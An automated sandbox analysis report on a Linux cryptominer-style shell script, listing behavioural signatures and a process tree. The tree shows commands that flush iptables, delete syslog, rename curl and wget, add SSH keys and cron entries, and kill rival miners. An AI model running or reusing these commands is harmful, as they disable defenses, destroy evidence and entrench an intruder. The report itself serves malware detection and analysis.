Analysis
-
max time kernel
149s -
max time network
144s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
23-01-2025 06:44
Static task
static1
Behavioral task
behavioral1
Sample
196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh
Resource
debian9-mipsel-20240729-en
General
-
Target
196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh
-
Size
37KB
-
MD5
d6648f420423f9dad4292a606f743c4b
-
SHA1
dcae47ec15e96274a39fcce4352077846ebf7b70
-
SHA256
196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910
-
SHA512
3820b4fb435732fef05157ff0713ed3a62269dc1c21240dbf7e2e59191a0f34050247573b4d9758cd84495fb28d8f346e381b8f09a9041c70ca88333b1303f93
-
SSDEEP
384:Q7pQQwQHDf6lpTWg3vM4Qdre21jT58vKpG2Y0orcfKLUv0KZnNEVdUeUoJpJydIi:Q7xFNB48Fkc2zq0xvMGdl18r
Malware Config
Signatures
-
Adds new SSH keys 1 TTPs 1 IoCs
Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.
description ioc Process File opened for modification /root/.ssh/authorized_keys 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh -
File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 2274 Process not Found 2277 Process not Found 2280 Process not Found -
Flushes firewall rules 1 TTPs 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 739 iptables -
Attempts to change immutable files 64 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
pid Process 793 xargs 867 xargs 1606 xargs 1979 Process not Found 1690 xargs 1983 Process not Found 2038 Process not Found 2042 Process not Found 1218 xargs 1300 xargs 1333 xargs 1580 xargs 781 xargs 835 xargs 1636 xargs 1710 xargs 857 xargs 1964 Process not Found 952 xargs 1400 xargs 1406 xargs 2050 Process not Found 763 xargs 1972 Process not Found 1974 Process not Found 1173 xargs 1515 xargs 823 xargs 1090 xargs 1585 xargs 2034 Process not Found 1114 xargs 1156 xargs 1520 xargs 1678 xargs 1418 xargs 852 xargs 971 xargs 1233 xargs 1258 xargs 1660 xargs 1680 xargs 1724 xargs 966 xargs 1068 xargs 1110 xargs 1441 xargs 2018 Process not Found 2070 Process not Found 2124 Process not Found 978 xargs 1646 xargs 1666 xargs 1668 xargs 751 grep 1640 xargs 2082 Process not Found 1265 xargs 1614 xargs 1652 xargs 1704 xargs 1686 xargs 2010 Process not Found 2270 Process not Found -
Creates/modifies Cron job 1 TTPs 2 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /etc/cron.d/zzh 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /etc/crontab 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh -
Disables AppArmor 28 IoCs
Disables AppArmor security module.
pid Process 2096 Process not Found 2102 Process not Found 2106 Process not Found 2091 Process not Found 2071 Process not Found 2090 Process not Found 2094 Process not Found 2091 Process not Found 2071 Process not Found 2071 Process not Found 2091 Process not Found 2098 Process not Found 2103 Process not Found 2105 Process not Found 2071 Process not Found 2071 Process not Found 2108 Process not Found 2091 Process not Found 2099 Process not Found 2107 Process not Found 2101 Process not Found 2104 Process not Found 2109 Process not Found 2071 Process not Found 2110 Process not Found 2100 Process not Found 2091 Process not Found 2091 Process not Found -
Enumerates running processes
Discovers information about currently running processes on the system
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com -
Writes file to system bin folder 6 IoCs
description ioc Process File opened for modification /bin/ps Process not Found File opened for modification /bin/top 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /bin/top Process not Found File opened for modification /bin/pstree 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /bin/pstree Process not Found File opened for modification /bin/ps 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh -
Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online sysctl File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps -
Enumerates kernel/hardware configuration 1 TTPs 32 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found -
Process Discovery 1 TTPs 64 IoCs
Adversaries may try to discover information about running processes.
pid Process 914 ps 1141 ps 1349 ps 1454 ps 863 ps 1521 ps 974 ps 1106 ps 1162 ps 1478 ps 1003 ps 1224 ps 1282 ps 961 ps 1204 ps 1436 ps 1496 ps 1336 ps 1064 ps 1295 ps 748 ps 899 ps 919 ps 1012 ps 1355 ps 1466 ps 868 ps 1024 ps 1038 ps 1131 ps 1043 ps 1152 ps 1425 ps 1511 ps 1179 ps 1442 ps 1484 ps 1189 ps 1342 ps 1389 ps 1516 ps 1111 ps 1431 ps 853 ps 858 ps 1219 ps 1288 ps 1214 ps 1302 ps 2111 Process not Found 889 ps 929 ps 1369 ps 1058 ps 1126 ps 1472 ps 750 ps 1261 ps 1401 ps 1413 ps 1362 ps 1460 ps 1157 ps 1234 ps -
description ioc Process File opened for reading /proc/76/status pgrep File opened for reading /proc/678/cmdline pgrep File opened for reading /proc/705/status pkill File opened for reading /proc/6/cmdline pkill File opened for reading /proc/82/status pkill File opened for reading /proc/23/status ps File opened for reading /proc/699/stat ps File opened for reading /proc/11/cmdline pgrep File opened for reading /proc/334/stat ps File opened for reading /proc/116/stat ps File opened for reading /proc/699/status ps File opened for reading /proc/13/status ps File opened for reading /proc/11/cmdline ps File opened for reading /proc/663/cmdline ps File opened for reading /proc/37/cmdline pgrep File opened for reading /proc/20/cmdline pkill File opened for reading /proc/78/status ps File opened for reading /proc/68/stat ps File opened for reading /proc/669/stat ps File opened for reading /proc/697/status pgrep File opened for reading /proc/11/status pkill File opened for reading /proc/699/status pkill File opened for reading /proc/68/status ps File opened for reading /proc/15/status ps File opened for reading /proc/2/status pgrep File opened for reading /proc/697/status pgrep File opened for reading /proc/697/status pgrep File opened for reading /proc/3/status pkill File opened for reading /proc/336/status ps File opened for reading /proc/23/cmdline ps File opened for reading /proc/11/status pgrep File opened for reading /proc/21/cmdline ps File opened for reading /proc/19/status pkill File opened for reading /proc/167/cmdline ps File opened for reading /proc/11/stat ps File opened for reading /proc/77/cmdline ps File opened for reading /proc/4/status pkill File opened for reading /proc/8/status Process not Found File opened for reading /proc/116/status pgrep File opened for reading /proc/1764/cmdline pkill File opened for reading /proc/670/status pkill File opened for reading /proc/69/status pkill File opened for reading /proc/69/cmdline ps File opened for reading /proc/76/stat ps File opened for reading /proc/79/status pgrep File opened for reading /proc/77/status ps File opened for reading /proc/669/status ps File opened for reading /proc/sys/kernel/osrelease pgrep File opened for reading /proc/16/cmdline pgrep File opened for reading /proc/14/status pgrep File opened for reading /proc/16/status pkill File opened for reading /proc/71/status pkill File opened for reading /proc/11/status ps File opened for reading /proc/663/status ps File opened for reading /proc/1/stat ps File opened for reading /proc/4/cmdline ps File opened for reading /proc/428/status ps File opened for reading /proc/meminfo ps File opened for reading /proc/698/stat ps File opened for reading /proc/678/cmdline ps File opened for reading /proc/221/status ps File opened for reading /proc/705/stat ps File opened for reading /proc/663/cmdline pkill File opened for reading /proc/147/cmdline ps -
System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1066 grep 1108 grep 1344 grep 1865 Process not Found -
Writes file to tmp directory 8 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/svcupdate 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /tmp/svcguard 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /tmp/svcworkmanager 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /tmp/svcupdates 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /tmp/dev/null 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /tmp/kdevtmpfsi 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /tmp/redis2 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /tmp/newsvc.sh 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh
Processes
-
/tmp/196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh/tmp/196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh1⤵
- Adds new SSH keys
- Creates/modifies Cron job
- Writes file to system bin folder
- Writes file to tmp directory
PID:699 -
/bin/sedsed "s/,/\\n/g"2⤵PID:702
-
-
/usr/bin/curlcurl http://ip-api.com/json/2⤵PID:701
-
-
/bin/grepgrep -i CN2⤵PID:703
-
-
/bin/syncsync2⤵PID:725
-
-
/bin/catcat /var/spool/cron/2⤵PID:727
-
-
/bin/catcat /root/.ssh/authorized_keys2⤵PID:729
-
-
/bin/mvmv /usr/bin/curl /usr/bin/url2⤵PID:731
-
-
/bin/mvmv /usr/bin/url /usr/bin/cd12⤵PID:732
-
-
/bin/mvmv /usr/bin/wget /usr/bin/get2⤵PID:733
-
-
/bin/mvmv /usr/bin/get /usr/bin/wd12⤵PID:735
-
-
/bin/rmrm -rf /var/log/syslog2⤵PID:736
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵PID:737
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵PID:738
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:739
-
-
/usr/sbin/userdeluserdel akay2⤵PID:742
-
-
/usr/sbin/userdeluserdel vfinder2⤵PID:744
-
-
/bin/rmrm -rf "/tmp/addres*"2⤵PID:745
-
-
/bin/rmrm -rf "/tmp/walle*"2⤵PID:746
-
-
/bin/rmrm -rf /tmp/keys2⤵PID:747
-
-
/bin/grepgrep -i "[a]liyun"2⤵PID:749
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:748
-
-
/bin/grepgrep -i "[y]unjing"2⤵
- Attempts to change immutable files
PID:751
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:750
-
-
/bin/rmrm -f /tmp/.null2⤵PID:752
-
-
/sbin/sysctlsysctl -w "vm.nr_hugepages=128"2⤵
- Reads CPU attributes
PID:753
-
-
/bin/grepgrep 185.71.65.2382⤵PID:755
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:756
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:757
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:758
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:763
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:762
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:761
-
-
/bin/grepgrep 140.82.52.872⤵PID:760
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:769
-
-
/bin/grepgrep -v -2⤵PID:768
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:767
-
-
/bin/grepgrep :4432⤵PID:765
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:766
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:775
-
-
/bin/grepgrep -v -2⤵PID:774
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:773
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:772
-
-
/bin/grepgrep :232⤵PID:771
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:781
-
-
/bin/grepgrep -v -2⤵PID:780
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:779
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:778
-
-
/bin/grepgrep :4432⤵PID:777
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:787
-
-
/bin/grepgrep -v -2⤵PID:786
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:785
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:784
-
-
/bin/grepgrep :1432⤵PID:783
-
-
/bin/grepgrep -v -2⤵PID:792
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:791
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:790
-
-
/bin/grepgrep :22222⤵PID:789
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:793
-
-
/bin/grepgrep -v -2⤵PID:798
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:799
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:796
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:797
-
-
/bin/grepgrep :33332⤵PID:795
-
-
/bin/grepgrep -v -2⤵PID:804
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:803
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:805
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:802
-
-
/bin/grepgrep :33892⤵PID:801
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:811
-
-
/bin/grepgrep -v -2⤵PID:810
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:809
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:808
-
-
/bin/grepgrep :55552⤵PID:807
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:817
-
-
/bin/grepgrep -v -2⤵PID:816
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:815
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:814
-
-
/bin/grepgrep :66662⤵PID:813
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:823
-
-
/bin/grepgrep -v -2⤵PID:822
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:821
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:820
-
-
/bin/grepgrep :66652⤵PID:819
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:829
-
-
/bin/grepgrep -v -2⤵PID:828
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:827
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:826
-
-
/bin/grepgrep :66672⤵PID:825
-
-
/bin/grepgrep -v -2⤵PID:834
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:835
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:833
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:832
-
-
/bin/grepgrep :77772⤵PID:831
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:841
-
-
/bin/grepgrep -v -2⤵PID:840
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:839
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:838
-
-
/bin/grepgrep :84442⤵PID:837
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:847
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:845
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:844
-
-
/bin/grepgrep :33472⤵PID:843
-
-
/bin/grepgrep -v -2⤵PID:846
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:852
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:851
-
-
/bin/grepgrep :33332⤵PID:850
-
-
/bin/grepgrep -v grep2⤵PID:849
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:848
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:857
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:856
-
-
/bin/grepgrep :55552⤵PID:855
-
-
/bin/grepgrep -v grep2⤵PID:854
-
-
/bin/psps aux2⤵
- Process Discovery
PID:853
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:862
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:861
-
-
/bin/grepgrep "kworker -c\\"2⤵PID:860
-
-
/bin/grepgrep -v grep2⤵PID:859
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:858
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:867
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:866
-
-
/bin/grepgrep log_2⤵PID:865
-
-
/bin/grepgrep -v grep2⤵PID:864
-
-
/bin/psps aux2⤵
- Process Discovery
PID:863
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:872
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:871
-
-
/bin/grepgrep systemten2⤵PID:870
-
-
/bin/grepgrep -v grep2⤵PID:869
-
-
/bin/psps aux2⤵
- Process Discovery
PID:868
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:877
-
/usr/local/sbin/killkill -9 103⤵PID:878
-
-
/usr/local/bin/killkill -9 103⤵PID:878
-
-
/usr/sbin/killkill -9 103⤵PID:878
-
-
/usr/bin/killkill -9 103⤵PID:878
-
-
/sbin/killkill -9 103⤵PID:878
-
-
/bin/killkill -9 103⤵PID:878
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:876
-
-
/bin/grepgrep netns2⤵PID:875
-
-
/bin/grepgrep -v grep2⤵PID:874
-
-
/bin/psps aux2⤵PID:873
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:883
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:882
-
-
/bin/grepgrep voltuned2⤵PID:881
-
-
/bin/grepgrep -v grep2⤵PID:880
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:879
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:888
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:887
-
-
/bin/grepgrep darwin2⤵PID:886
-
-
/bin/grepgrep -v grep2⤵PID:885
-
-
/bin/psps aux2⤵PID:884
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:893
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:892
-
-
/bin/grepgrep /tmp/dl2⤵PID:891
-
-
/bin/grepgrep -v grep2⤵PID:890
-
-
/bin/psps aux2⤵
- Process Discovery
PID:889
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:898
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:897
-
-
/bin/grepgrep /tmp/ddg2⤵PID:896
-
-
/bin/grepgrep -v grep2⤵PID:895
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:894
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:903
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:902
-
-
/bin/grepgrep /tmp/pprt2⤵PID:901
-
-
/bin/grepgrep -v grep2⤵PID:900
-
-
/bin/psps aux2⤵
- Process Discovery
PID:899
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:908
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:907
-
-
/bin/grepgrep /tmp/ppol2⤵PID:906
-
-
/bin/grepgrep -v grep2⤵PID:905
-
-
/bin/psps aux2⤵PID:904
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:913
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:912
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:911
-
-
/bin/grepgrep -v grep2⤵PID:910
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:909
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:918
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:917
-
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:916
-
-
/bin/grepgrep -v grep2⤵PID:915
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:914
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:923
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:922
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:921
-
-
/bin/grepgrep -v grep2⤵PID:920
-
-
/bin/psps aux2⤵
- Process Discovery
PID:919
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:928
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:927
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:926
-
-
/bin/grepgrep -v grep2⤵PID:925
-
-
/bin/psps aux2⤵PID:924
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:933
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:932
-
-
/bin/grepgrep 45.76.122.922⤵PID:931
-
-
/bin/grepgrep -v grep2⤵PID:930
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:929
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:940
-
-
/bin/grepgrep 51.38.191.1782⤵PID:938
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:939
-
-
/bin/grepgrep -v grep2⤵PID:937
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:936
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:945
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:944
-
-
/bin/grepgrep 51.15.56.1612⤵PID:943
-
-
/bin/grepgrep -v grep2⤵PID:942
-
-
/bin/psps aux2⤵PID:941
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:952
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:951
-
-
/bin/grepgrep 86s.jpg2⤵PID:950
-
-
/bin/grepgrep -v grep2⤵PID:949
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:948
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:959
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:958
-
-
/bin/grepgrep aGTSGJJp2⤵PID:957
-
-
/bin/grepgrep -v grep2⤵PID:956
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:955
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:964
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:966
-
-
/bin/grepgrep nMrfmnRa2⤵PID:963
-
-
/bin/grepgrep -v grep2⤵PID:962
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:961
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:971
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:970
-
-
/bin/grepgrep PuNY5tm22⤵PID:969
-
-
/bin/grepgrep -v grep2⤵PID:968
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:967
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:978
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:977
-
-
/bin/grepgrep I0r8Jyyt2⤵PID:976
-
-
/bin/grepgrep -v grep2⤵PID:975
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:974
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:985
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:984
-
-
/bin/grepgrep AgdgACUD2⤵PID:983
-
-
/bin/grepgrep -v grep2⤵PID:982
-
-
/bin/psps aux2⤵PID:981
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:991
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:990
-
-
/bin/grepgrep uiZvwxG82⤵PID:989
-
-
/bin/grepgrep -v grep2⤵PID:988
-
-
/bin/psps aux2⤵PID:987
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:997
-
-
/bin/grepgrep hahwNEdB2⤵PID:995
-
-
/bin/grepgrep -v grep2⤵PID:994
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:996
-
-
